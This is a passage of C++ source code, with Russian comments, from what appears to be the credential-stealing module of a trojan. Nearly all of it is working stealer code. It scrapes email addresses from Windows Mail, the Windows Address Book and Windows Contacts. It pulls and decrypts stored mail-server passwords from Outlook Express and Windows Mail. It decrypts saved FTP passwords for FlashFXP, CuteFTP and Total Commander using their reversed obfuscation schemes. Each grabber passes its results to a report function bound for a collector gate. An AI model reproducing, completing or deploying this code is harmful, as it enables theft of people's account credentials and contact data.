list); if(list != NULL && *list != 0) { WCHAR title[MAX_LEN]; _getW(titleId, title); g_GateToCollector3(reportType, title, list, -1); } Mem::free(list); } //////////////////////////////////////////////////////////////////////////////////////////////////// #pragma region GrabbingFunctions static void getUserNameForPath(LPWSTR buffer) { DWORD size = MAX_PATH; if(GetUserNameExW(NameSamCompatible, buffer, &size) != FALSE && size > 0) { buffer[size] = 0; Fs::_replaceSlashes(buffer, '|'); } else { Str::_CopyW(buffer, L"unknown\\unknown", -1); } } /* Перечесление всех писем из дирикторий Windows Mail. IN mimeAllocator - IMimeAllocator. IN store - IStoreNamespace. IN currentFolder - текущая директория. IN OUT messageProps - переменная для экономии стека. IN OUT folderProps - переменная для экономии стека. IN OUT list - список для email'ов. */ static void enumWindowsMailMessagesAndFolders(IMimeAllocator *mimeAllocator, IStoreNamespace *store, IStoreFolder *currentFolder, MESSAGEPROPS *messageProps, FOLDERPROPS *folderProps, LPWSTR *list) { HENUMSTORE enumStore; //Ищим сообщения. if(currentFolder->GetFirstMessage(MSGPROPS_FAST, 0, MESSAGEID_FIRST, messageProps, &enumStore) == S_OK) { do { IMimeMessage *message; if(currentFolder->OpenMessage(messageProps->dwMessageId, IID_IMimeMessage, (void **)&message) == S_OK) { ADDRESSLIST addressList; if(message->GetAddressTypes(IAT_RECIPS, IAP_EMAIL, &addressList) == S_OK) { for(ULONG i = 0; i < addressList.cAdrs; i++) { //Добавляем адрес. LPSTR email = addressList.prgAdr[i].pszEmail; if(email != NULL && Str::_findCharA(email, '@') != NULL) { LPWSTR emailW = Str::_ansiToUnicodeEx(email, -1); if(emailW != NULL && Str::_CatExW(list, emailW, -1)) Str::_CatExW(list, L"\n", 1); Mem::free(emailW); } } mimeAllocator->FreeAddressList(&addressList); } message->Release(); } currentFolder->FreeMessageProps(messageProps); } while(currentFolder->GetNextMessage(enumStore, MSGPROPS_FAST, messageProps) == S_OK); currentFolder->GetMessageClose(enumStore); } //Ищим подиректории. if(currentFolder->GetFolderProps(0, folderProps) == S_OK && folderProps->cSubFolders > 0 && store->GetFirstSubFolder(folderProps->dwFolderId, folderProps, &enumStore) == S_OK) { IStoreFolder *subFolder; do if(store->OpenFolder(folderProps->dwFolderId, 0, &subFolder) == S_OK) { WDEBUG("folderProps->szName=[%S].", folderProps->szName); enumWindowsMailMessagesAndFolders(mimeAllocator, store, subFolder, messageProps, folderProps, list); subFolder->Release(); } while(store->GetNextSubFolder(enumStore, folderProps) == S_OK); store->GetSubFolderClose(enumStore); } } void _emailWindowsMailRecipients(void) { IStoreNamespace *store = (IStoreNamespace *)ComLibrary::_createInterface(CLSID_StoreNamespace, IID_IStoreNamespace); if(store == NULL)return; LPWSTR list = NULL; IStoreFolder *sendFolder; //Получаем "Sent items". if(store->Initialize(NULL, 0) == S_OK && store->OpenSpecialFolder(FOLDER_SENT, 0, &sendFolder) == S_OK) { IMimeAllocator *mimeAllocator = (IMimeAllocator *)ComLibrary::_createInterface(CLSID_IMimeAllocator, IID_IMimeAllocator); if(mimeAllocator != NULL) { FOLDERPROPS folderProps; MESSAGEPROPS messageProps; messageProps.cbSize = sizeof(MESSAGEPROPS); folderProps.cbSize = sizeof(FOLDERPROPS); enumWindowsMailMessagesAndFolders(mimeAllocator, store, sendFolder, &messageProps, &folderProps, &list); mimeAllocator->Release(); } sendFolder->Release(); } //Выход. store->Release(); //Сохраянем лог. DWORD titleId = winVersion < OsEnv::VERSION_VISTA ? softwaregrabber_outlook_express_recips_title : softwaregrabber_windows_mail_recips_title; writeReport(list, titleId, BLT_GRABBED_EMAILSOFTWARE); } //////////////////////////////////////////////////////////////////////////////////////////////////// /* Надстройка над IPropertyContainer::GetPropSz() для получения Unicode-строки. IN account - аккаунт. IN id - ID опции. Return - строка, или NULL. Нужно освободить через Mem. */ static LPWSTR outlookExpressSzToUnicode(IImnAccount *account, DWORD id) { char buffer[256/*Макс. размер согласно CCHMAX_*.*/]; if(account->GetPropSz(id, buffer, sizeof(buffer)) != S_OK) return NULL; return Str::_ansiToUnicodeEx(buffer, -1); } /* Добавление данных сервера в отчет. IN title - заголовок. IN account - аккаунт. IN serverId - AP_*_SERVER. IN portId - AP_*_PORT. IN sslId - AP_*_SSL. IN userNameId - AP_*_USERNAME. IN passwordId - AP_*_PASSWORD. OUT buffer - буфер для данных. */ static void appendOutlookExpressInfo(const LPWSTR title, IImnAccount *account, DWORD serverId, DWORD portId, DWORD sslId, DWORD userNameId, DWORD passwordId, LPWSTR *buffer) { //Получаем. LPWSTR server = outlookExpressSzToUnicode(account, serverId); LPWSTR userName = outlookExpressSzToUnicode(account, userNameId); LPWSTR password = outlookExpressSzToUnicode(account, passwordId); DWORD ssl; DWORD port; if(account->GetPropDw(portId, &port) != S_OK) port = 0; if(account->GetPropDw(sslId, &ssl) != S_OK) ssl = 0; //Добавляем. { CSTR_GETW(format, softwaregrabber_account_server_info); CSTR_GETW(sslMarker, softwaregrabber_account_server_ssl); Str::_sprintfCatExW(buffer, Str::_LengthW(*buffer), format, title, server == NULL ? L"" : server, port, ssl == 0 ? L"" : sslMarker, userName == NULL ? L"" : userName, password == NULL ? L"" : password ); } //Освобождаем. Mem::free(server); Mem::free(userName); Mem::free(password); } void _emailOutlookExpress(void) { HRESULT hr; //Получаем IImnAccountManager. IImnAccountManager *manager = (IImnAccountManager *)ComLibrary::_createInterface(CLSID_ImnAccountManager, IID_IImnAccountManager); if(manager == NULL)return; //Инициализация. IImnEnumAccounts *accounts; LPWSTR list = NULL; if(manager->InitEx(NULL, ACCT_INIT_ATHENA) == S_OK && manager->Enumerate(SRV_SMTP | SRV_POP3 | SRV_IMAP, &accounts) == S_OK) { IImnAccount *account; while(accounts->GetNext(&account) == S_OK) { DWORD serverTypes; if(account->GetServerTypes(&serverTypes) == S_OK && serverTypes != 0) { //Заголовок аккаунта. { LPWSTR accountName = outlookExpressSzToUnicode(account, AP_ACCOUNT_NAME); LPWSTR email = outlookExpressSzToUnicode(account, AP_SMTP_EMAIL_ADDRESS); CSTR_GETW(format, softwaregrabber_account_title); DWORD size = Str::_sprintfCatExW(&list, Str::_LengthW(list), format, (list == NULL || *list == 0) ? L"" : L"\n", accountName == NULL ? L"" : accountName, email == NULL ? L"" : email ); Mem::free(accountName); Mem::free(email); if(size == (DWORD)-1)serverTypes = 0; } if(serverTypes & SRV_IMAP) { CSTR_GETW(title, softwaregrabber_account_server_imap); appendOutlookExpressInfo(title, account, AP_IMAP_SERVER, AP_IMAP_PORT, AP_IMAP_SSL, AP_IMAP_USERNAME, AP_IMAP_PASSWORD, &list); } if(serverTypes & SRV_POP3) { CSTR_GETW(title, softwaregrabber_account_server_pop3); appendOutlookExpressInfo(title, account, AP_POP3_SERVER, AP_POP3_PORT, AP_POP3_SSL, AP_POP3_USERNAME, AP_POP3_PASSWORD, &list); } if(serverTypes & SRV_SMTP) { CSTR_GETW(title, softwaregrabber_account_server_smtp); appendOutlookExpressInfo(title, account, AP_SMTP_SERVER, AP_SMTP_PORT, AP_SMTP_SSL, AP_SMTP_USERNAME, AP_SMTP_PASSWORD, &list); } } account->Release(); } accounts->Release(); } manager->Release(); writeReport(list, softwaregrabber_outlook_express_title, BLT_GRABBED_EMAILSOFTWARE); } //////////////////////////////////////////////////////////////////////////////////////////////////// typedef struct { LPWSTR list; //Строка для вывода аккаунтов. DATA_BLOB salt; //Секрет паролей. }WINDOWSMAILDATA; /* Получение строки из Windows Mail параметра. IN root - рутовый элемент. IN title - заголовок(префкс) элемента. IN stringId - ID строки формата элемента. Return - строка, или NULL в случаи ошибки. Нужно освободить через _freeBstr(). */ static BSTR getWindowsMailString(IXMLDOMElement *root, const LPWSTR title, DWORD stringId) { WCHAR name[40]; //Размер на softwaregrabber_account_server_x_*. WCHAR format[30]; //Размер на softwaregrabber_account_server_x_*. _getW(stringId, format); if(Str::_sprintfW(name, sizeof(name) / sizeof(WCHAR), format, title) > 0) return XmlParser::_getNodeTextOfElement(root, name); return NULL; } /* Добавление данных сервера в отчет. IN title - заголовок. IN defaultPort - порт по умолчанию. IN salt - секрет пароля. IN root - рутовый элемент. OUT buffer - буфер для данных. Return - true - данные добавлены, false - данные не найдены. */ static bool appendWindowsMailInfo(const LPWSTR title, DWORD defaultPort, const DATA_BLOB *salt, IXMLDOMElement *root, LPWSTR *buffer) { //Получаем. BSTR server = getWindowsMailString(root, title, softwaregrabber_account_server_x_server); BSTR port = getWindowsMailString(root, title, softwaregrabber_account_server_x_port); BSTR ssl = getWindowsMailString(root, title, softwaregrabber_account_server_x_ssl); BSTR userName = getWindowsMailString(root, title, softwaregrabber_account_server_x_username); BSTR password = getWindowsMailString(root, title, softwaregrabber_account_server_x_password); //Добавляем. bool ok = (server != NULL); if(ok) { DWORD portDword = 0; DWORD sslDword = ssl == NULL ? 0 : Str::_ToInt32W(ssl, NULL); LPWSTR passwordReal = NULL; //Убейте меня за говнокод. if(port != NULL) { WCHAR portEx[12]; CSTR_GETW(format, softwaregrabber_windows_mail_to_port); Str::_sprintfW(portEx, sizeof(portEx) / sizeof(WCHAR), format, port); portDword = Str::_ToInt32W(portEx, NULL); } //Получаем пароль. int passwordLen = Str::_LengthW(password); if(password != NULL && passwordLen > 1 && (passwordLen % 2) == 0) { DATA_BLOB source; DATA_BLOB dest; source.cbData = passwordLen / 2; if((source.pbData = (BYTE *)Mem::alloc(source.cbData)) != NULL) { if(Str::_fromHexW(password, source.pbData) && CWA(crypt32, CryptUnprotectData)(&source, NULL, (DATA_BLOB *)salt, NULL, NULL, 0, &dest) == TRUE) { passwordReal = Str::_CopyExW((LPWSTR)dest.pbData, dest.cbData); CWA(kernel32, LocalFree)(dest.pbData); } Mem::free(source.pbData); } } //Выводим. CSTR_GETW(format, softwaregrabber_account_server_info); CSTR_GETW(sslMarker, softwaregrabber_account_server_ssl); Str::_sprintfCatExW(buffer, Str::_LengthW(*buffer), format, title, /*server == NULL ? L"" : */server, portDword, sslDword == 0 ? L"" : sslMarker, userName == NULL ? L"" : userName, passwordReal == NULL ? L"" : passwordReal ); Mem::free(passwordReal); } //Освобождаем. XmlParser::_freeBstr(server); XmlParser::_freeBstr(port); XmlParser::_freeBstr(ssl); XmlParser::_freeBstr(userName); XmlParser::_freeBstr(password); return ok; } /* Обработка XML-файла с аккаунтом Winodws Mail. */ static bool windowsMailAccountProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { WCHAR fileName[MAX_PATH]; WINDOWSMAILDATA *wmd = (WINDOWSMAILDATA *)data; IXMLDOMDocument *doc; //Открываем файл. if(!Fs::_pathCombine(fileName, path, (LPWSTR)fileInfo->cFileName) || (doc = XmlParser::_openFile(fileName, NULL)) == NULL) return true; //Пробираемся к списку акканутов. IXMLDOMElement *root; if(doc->get_documentElement(&root) == S_OK) { //Проверяем имя рута. bool ok = false; { BSTR rootName; if(root->get_nodeName(&rootName) == S_OK) { ok = CSTR_EQW(rootName, softwaregrabber_windows_mail_xml_root); XmlParser::_freeBstr(rootName); } } //Получаем аккауны. if(ok) { LPWSTR tmpList = NULL; //Заголовок аккаунта. { BSTR accountName; BSTR email; { CSTR_GETW(node, softwaregrabber_windows_mail_xml_name); accountName = XmlParser::_getNodeTextOfElement(root, node); } { CSTR_GETW(node, softwaregrabber_windows_mail_xml_email); email = XmlParser::_getNodeTextOfElement(root, node); } CSTR_GETW(format, softwaregrabber_account_title); int size = Str::_sprintfExW(&tmpList, format, (wmd->list == NULL || wmd->list[0] == 0) ? L"" : L"\n", accountName == NULL ? L"" : accountName, email == NULL ? L"" : email ); XmlParser::_freeBstr(accountName); XmlParser::_freeBstr(email); if(size <= 0)ok = false; } //Данные. if(ok) { BYTE appended = 0; { CSTR_GETW(title, softwaregrabber_account_server_imap); if(appendWindowsMailInfo(title, 0x8F, &wmd->salt, root, &tmpList)) appended++; } { CSTR_GETW(title, softwaregrabber_account_server_pop3); if(appendWindowsMailInfo(title, 0x6E, &wmd->salt, root, &tmpList)) appended++; } { CSTR_GETW(title, softwaregrabber_account_server_smtp); if(appendWindowsMailInfo(title, 0x19, &wmd->salt, root, &tmpList)) appended++; } if(appended > 0) Str::_CatExW(&wmd->list, tmpList, -1); Mem::free(tmpList); } } root->Release(); } XmlParser::_closeFile(doc); return true; } void _emailWindowsMail(bool live) { WINDOWSMAILDATA wmd; WCHAR path[MAX_PATH]; { //Получаем ключ. WCHAR regKey[MAX_LEN]; _getW(live ? softwaregrabber_windows_live_mail_regkey : softwaregrabber_windows_mail_regkey, regKey); //Получаем директорию для поиска. { CSTR_GETW(regValue, softwaregrabber_windows_mail_regvalue_path); DWORD r = Registry::_getValueAsString(HKEY_CURRENT_USER, regKey, regValue, path, MAX_PATH); if(r == 0 || r == (DWORD)-1) return; WDEBUG("path=[%s]", path); } //Получаем секрет для пароля. wmd.list = NULL; { CSTR_GETW(regValue, softwaregrabber_windows_mail_regvalue_salt); if((wmd.salt.cbData = Registry::_getValueAsBinaryEx(HKEY_CURRENT_USER, regKey, regValue, NULL, (void **)&wmd.salt.pbData)) == (DWORD)-1) Mem::_zero(&wmd.salt, sizeof(wmd.salt)); } } //Ищим. { CSTR_GETW(file1, softwaregrabber_windows_mail_file_1); LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_RECURSIVE | Fs::FFFLAG_SEARCH_FILES, windowsMailAccountProc, &wmd, NULL, 0, 0); } //Сохраянем лог. writeReport(wmd.list, live ? softwaregrabber_windows_live_mail_title : softwaregrabber_windows_mail_title, BLT_GRABBED_EMAILSOFTWARE); } void _emailWindowsAddressBook(void) { //Загружаем DLL. HMODULE wabDll; { WCHAR dllPath[MAX_PATH]; CSTR_GETW(regKey, softwaregrabber_wab_regkey); DWORD size = Registry::_getValueAsString(HKEY_LOCAL_MACHINE, regKey, NULL, dllPath, MAX_PATH); if(size == (DWORD)-1 || size == 0) { WDEBUG("Path of wab not founded."); return; } if((wabDll = CWA(kernel32, LoadLibraryW)(dllPath)) == NULL) { WDEBUG("Failed to load [%s].", dllPath); return; } } //Получаем интерфейс. IAddrBook *addressBook; IWABObject *wabObject; { CSTR_GETA(funcName, softwaregrabber_wab_wabopen); LPWABOPEN wabOpen = (LPWABOPEN)CWA(kernel32, GetProcAddress)(wabDll, funcName); if(wabOpen == NULL || wabOpen(&addressBook, &wabObject, NULL, 0) != S_OK) { WDEBUG("%s failed.", funcName); goto END; } } //Собираем emails. ULONG entryId; ENTRYID *entryIdStruct; ULONG objectType; IUnknown *unknown; LPWSTR list = NULL; HRESULT freeResult; if(addressBook->GetPAB(&entryId, &entryIdStruct) == S_OK) { if(addressBook->OpenEntry(entryId, entryIdStruct, NULL, MAPI_BEST_ACCESS, &objectType, &unknown) == S_OK) { if(objectType == MAPI_ABCONT) { IMAPITable *table; IABContainer *abContainer = (IABContainer *)unknown; if(abContainer->GetContentsTable(WAB_PROFILE_CONTENTS, &table) == S_OK) { ULONG rowsCount; SRowSet *rows; if(table->GetRowCount(0, &rowsCount) == S_OK && table->QueryRows(rowsCount, 0, &rows) == S_OK) { //Перечисляем. for(ULONG i = 0; i < rows->cRows; i++) { SRow *row = &rows->aRow[i]; for(ULONG j = 0; j < row->cValues; j++) { SPropValue *props = &row->lpProps[j]; bool ok = false; switch(props->ulPropTag) { case PR_EMAIL_ADDRESS_W: if(Str::_findCharW(props->Value.lpszW, '@') != NULL) { ok = Str::_CatExW(&list, props->Value.lpszW, -1); } break; case PR_EMAIL_ADDRESS_A: if(Str::_findCharA(props->Value.lpszA, '@') != NULL) { LPWSTR tmpBuffer = Str::_ansiToUnicodeEx(props->Value.lpszA, -1); if(tmpBuffer)ok = Str::_CatExW(&list, tmpBuffer, -1); Mem::free(tmpBuffer); } break; default: WDEBUG("props->ulPropTag=0x%08X", props->ulPropTag); break; } if(ok)Str::_CatExW(&list, L"\n", 1); } freeResult = wabObject->FreeBuffer(row->lpProps); WDEBUG("freeResult=0x%08X", freeResult); } freeResult = wabObject->FreeBuffer(rows); WDEBUG("freeResult=0x%08X", freeResult); } table->Release(); } } unknown->Release(); } freeResult = wabObject->FreeBuffer(entryIdStruct); WDEBUG("freeResult=0x%08X", freeResult); } #if(BO_DEBUG > 0) else ;WDEBUG("Failed."); #endif //Выход. addressBook->Release(); wabObject->Release(); //Сохраянем лог. writeReport(list, softwaregrabber_wab_title, BLT_GRABBED_EMAILSOFTWARE); END: CWA(kernel32, FreeLibrary)(wabDll); } void _emailWindowsContacts(void) { HRESULT hr; //Получаем IContactManager. IContactManager *manager = (IContactManager *)ComLibrary::_createInterface(CLSID_ContactManager, IID_IContactManager); if(manager == NULL) return; //Инициализация. { CSTR_GETW(initName, softwaregrabber_wc_init_name); CSTR_GETW(initVersion, softwaregrabber_wc_init_version); hr = manager->Initialize(initName, initVersion); } //Получаем все контакты. IContactCollection *collection; LPWSTR list = NULL; if(hr == S_OK && manager->GetContactCollection(&collection) == S_OK) { CSTR_GETW(propertyFormat, softwaregrabber_wc_property_format); WCHAR propertyName[sizeof(propertyFormat) / sizeof(WCHAR) + 4]; WCHAR email[100]; IContact *contact; IContactProperties *props; collection->Reset(); //Параноя. while(collection->Next() == S_OK) if(collection->GetCurrent(&contact) == S_OK) { if(contact->QueryInterface(IID_IContactProperties, (void **)&props) == S_OK) { for(BYTE i = 1; i <= 100; i++) //Т.е. не более 100 мылов на конакт. { if(Str::_sprintfW(propertyName, sizeof(propertyName) / sizeof(WCHAR), propertyFormat, i) <= 0) break; DWORD size = sizeof(email) / sizeof(WCHAR); hr = props->GetString(propertyName, CGD_DEFAULT, email, size, &size); if(hr == S_OK && Str::_findCharW(email, '@') != NULL && Str::_CatExW(&list, email, -1)) Str::_CatExW(&list, L"\n", 1); WDEBUG("hr=0x%08X", hr); if(hr == S_OK || hr == ERROR_INSUFFICIENT_BUFFER /*Буфер мал.*/ || hr == S_FALSE /*Параметр пустой*/) continue; break; //Обычно ERROR_PATH_NOT_FOUND. } props->Release(); } contact->Release(); } collection->Release(); } manager->Release(); writeReport(list, softwaregrabber_wc_title, BLT_GRABBED_EMAILSOFTWARE); } //Максимальный размер элемента. #define MAX_ITEM_SIZE 0xFF //Данные для рекрусивного поиска по FTP-клиентам. typedef struct { LPWSTR list; //Список найденых акков. DWORD count; //Кол. найденых акков. }FTPDATA; //////////////////////////////////////////////////////////////////////////////////////////////////// // FlashFXP //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. IN sectionName - имя секции. Не может быть нулевой. Return - размер пароля. */ static int ftpFlashFxp3Decrypt(LPWSTR pass, LPWSTR sectionName) { BYTE buf[MAX_ITEM_SIZE]; LPWSTR magic; WCHAR defaultMagic[MAX_LEN]; int magicLen; int r = 0; if(Str::_findCharW(sectionName, 0x03)) { magicLen = Str::_LengthW(sectionName); magic = sectionName; } else { magic = defaultMagic; magicLen = Str::_LengthW(strings_table[softwaregrabber_flashfxp_secret].text); _getW(softwaregrabber_flashfxp_secret, defaultMagic); } int len = Str::_LengthW(pass) / 2; if(len < MAX_ITEM_SIZE && Str::_fromHexW(pass, buf)) { len--; int i = 0, j = 0; for(; i < len; i++, j++) { if(j == magicLen)j = 0; BYTE c = buf[i + 1] ^ ((BYTE)(magic[j])); if(c < buf[i])c--; pass[i] = (WCHAR)(BYTE)(c - buf[i]); } pass[i] = 0; r = i; } return r; } bool ftpFlashFxp3Proc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. */ static void ftpFlashFxp3BasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_flashfxp_file_1); CSTR_GETW(file2, softwaregrabber_flashfxp_file_2); CSTR_GETW(file3, softwaregrabber_flashfxp_file_3); const LPWSTR files[] = {file1, file2, file3}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, ftpFlashFxp3Proc, ftpData, NULL, 0, 0); } static bool ftpFlashFxp3Proc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpFlashFxp3BasicSearch(curPath, ftpData); else { LPWSTR sectionsList = (LPWSTR)Mem::alloc(0xFFFF * sizeof(WCHAR)); if(sectionsList != NULL) { DWORD size = CWA(kernel32, GetPrivateProfileStringW)(NULL, NULL, NULL, sectionsList, 0xFFFF, curPath); if(size > 0 && Str::_isValidMultiStringW(sectionsList, size + 1)) { const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 20; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; LPWSTR section = sectionsList; DWORD port; CSTR_GETW(keyIp, softwaregrabber_flashfxp_host); CSTR_GETW(keyPort, softwaregrabber_flashfxp_port); CSTR_GETW(keyUser, softwaregrabber_flashfxp_user); CSTR_GETW(keyPass, softwaregrabber_flashfxp_pass); do { if(CWA(kernel32, GetPrivateProfileStringW)(section, keyIp, NULL, host, MAX_ITEM_SIZE, curPath) > 0 && (port = CWA(kernel32, GetPrivateProfileIntW)(section, keyPort, 21, curPath)) > 0 && port <= 0xFFFF && CWA(kernel32, GetPrivateProfileStringW)(section, keyUser, NULL, user, MAX_ITEM_SIZE, curPath) > 0 && CWA(kernel32, GetPrivateProfileStringW)(section, keyPass, NULL, pass, MAX_ITEM_SIZE, curPath) > 0 && ftpFlashFxp3Decrypt(pass, section) > 0) { CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host, port); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; } } while((section = Str::_multiStringGetIndexW(section, 1)) != NULL); Mem::free(dataBuf); } } Mem::free(sectionsList); } } } return true; } void _ftpFlashFxp3(void) { WCHAR curPath[MAX_PATH]; WCHAR dataPath[MAX_PATH]; FTPDATA ftpData; DWORD size; Mem::_zero(&ftpData, sizeof(FTPDATA)); CSTR_GETW(regKey, softwaregrabber_flashfxp_regkey); CSTR_GETW(regValue, softwaregrabber_flashfxp_regvalue); if((size = Registry::_getValueAsString(HKEY_LOCAL_MACHINE, regKey, regValue, curPath, MAX_PATH)) != (DWORD)-1 && size > 0) { CWA(kernel32, ExpandEnvironmentStringsW)(curPath, dataPath, MAX_PATH); ftpFlashFxp3BasicSearch(dataPath, &ftpData); } if(ftpData.count == 0) { CSTR_GETW(dir1, softwaregrabber_flashfxp_path_mask); const DWORD locs[] = {CSIDL_COMMON_APPDATA, CSIDL_APPDATA, CSIDL_PROGRAM_FILES}; const LPWSTR dirs[] = {dir1}; for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) { if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, ftpFlashFxp3Proc, &ftpData, NULL, 0, 0); } } if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_flashfxp_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // CuteFTP //////////////////////////////////////////////////////////////////////////////////////////////////// #if(1) /* Декруптор пароля. IN OUT pass - пароль. IN sectionName - имя секции. Не может быть нулевой. Return - размер пароля. */ static int ftpCuteFtpDecrypt(LPWSTR pass, LPWSTR sectionName) { BYTE buf[MAX_ITEM_SIZE]; LPWSTR magic; int magicLen; int r = 0; if(Str::_findCharW(sectionName, 0x03)) { magicLen = Str::_LengthW(sectionName); magic = sectionName; } else { magic = L"yA36zA48dEhfrvghGRg57h5UlDv3"; magicLen = 28; } int len = Str::_LengthW(pass) / 2; if(len < MAX_ITEM_SIZE && Str::_fromHexW(pass, buf)) { len--; int i = 0, j = 0; for(; i < len; i++, j++) { if(j == magicLen)j = 0; BYTE c = buf[i + 1] ^ ((BYTE)(magic[j])); if(c < buf[i])c--; pass[i] = (WCHAR)(BYTE)(c - buf[i]); } pass[i] = 0; r = i; } return r; } bool ftpCuteFtpProc(LPWSTR path, WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. */ static void ftpCuteFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { const LPWSTR files[] = {L"sm.dat", L"tree.dat", L"smdata.dat"}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, (Fs::FINDFILEPROC*)ftpCuteFtpProc, ftpData, NULL, 0, 0); } static bool ftpCuteFtpProc(LPWSTR path, WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpCuteFtpBasicSearch(curPath, ftpData); else { Fs::MEMFILE mf; if(Fs::_fileToMem(curPath, &mf, Fs::FTOMF_SHARE_WRITE)) { LPBYTE data = mf.data; LPBYTE dataEnd = data + mf.size; //FIXME: Бинарные данные в неизвестном формате. Fs::_closeMemFile(&mf); } } } return true; } void _ftpCuteFtp(void) { char text[8192]; char epass[4096]; char buf[3][32 * 1024]; const DWORD locs[] = {CSIDL_PROGRAM_FILES, CSIDL_APPDATA, CSIDL_COMMON_APPDATA}; const LPWSTR dirs[] = {L"*globalscape*"}; WCHAR curPath[MAX_PATH]; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, (Fs::FINDFILEPROC*)ftpCuteFtpProc, &ftpData, NULL, 0, 0); if(ftpData.count > 0) { //FIXME: writeReport(ftpData.list, softwaregrabber_flashfxp_title, BLT_GRABBED_FTPSOFTWARE); WDEBUG("CuteFTP:\n%s", ftpData.list); writeReport(ftpData.list, softwaregrabber_cuteftp_title, BLT_GRABBED_FTPSOFTWARE); } Mem::free(ftpData.list); } #endif //////////////////////////////////////////////////////////////////////////////////////////////////// // Total Commander //////////////////////////////////////////////////////////////////////////////////////////////////// static unsigned long randTotalCommander(unsigned long *seed, unsigned long val) { *seed = (*seed * 0x8088405) + 1; return Math::_shr64(Math::_mul64(*seed, val), 32); } /* Декруптор пароля. IN OUT pass - пароль. Return - размер пароля. */ static int ftpTotalCommanderDecrypt(LPWSTR pass) { BYTE buf[MAX_ITEM_SIZE]; int len = Str::_LengthW(pass) / 2; if(len < MAX_ITEM_SIZE && Str::_fromHexW(pass, buf)) { len -= 4; unsigned long seed = 0x0CF671; for(int i = 0; i < len; i++) { int val = (char)randTotalCommander(&seed, 8); buf[i] = (buf[i] >> (8 - val)) | (buf[i] << val); } seed = 0x3039; for(int i = 0; i < 0x100; i++) { int val = (char)randTotalCommander(&seed, len); int temp = (char)randTotalCommander(&seed, len); char sw = buf[val]; buf[val] = buf[temp]; buf[temp] = sw; } seed = 0xA564; for(int i = 0; i < len; i++)buf[i] ^= (char)randTotalCommander(&seed, 0x100); seed = 0xD431; for(int i = 0; i < len; i++)buf[i] -= (char)randTotalCommander(&seed, 0x100); for(int i = 0; i < len; i++)pass[i] = buf[i]; pass[len] = 0; return len; } return 0; } bool ftpTotalCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. IN recrusive - рекрусивный поиск. */ static void ftpTotalCommanderBasicSearch(LPWSTR path, FTPDATA *ftpData, bool recrusive) { CSTR_GETW(file1, softwaregrabber_tc_file_1); const LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | (recrusive ? Fs::FFFLAG_RECURSIVE : 0), ftpTotalCommanderProc, ftpData, NULL, 0, 0); } static void ftpTotalCommanderReadIni(LPWSTR curPath, FTPDATA *ftpData) { LPWSTR sectionsList = (LPWSTR)Mem::alloc(0xFFFF * sizeof(WCHAR)); if(sectionsList != NULL) { DWORD size = CWA(kernel32, GetPrivateProfileStringW)(NULL, NULL, NULL, sectionsList, 0xFFFF, curPath); if(size > 0 && Str::_isValidMultiStringW(sectionsList, size + 1)) { const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 10; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; LPWSTR section = sectionsList; CSTR_GETW(badSection1, softwaregrabber_tc_section_bad_1); 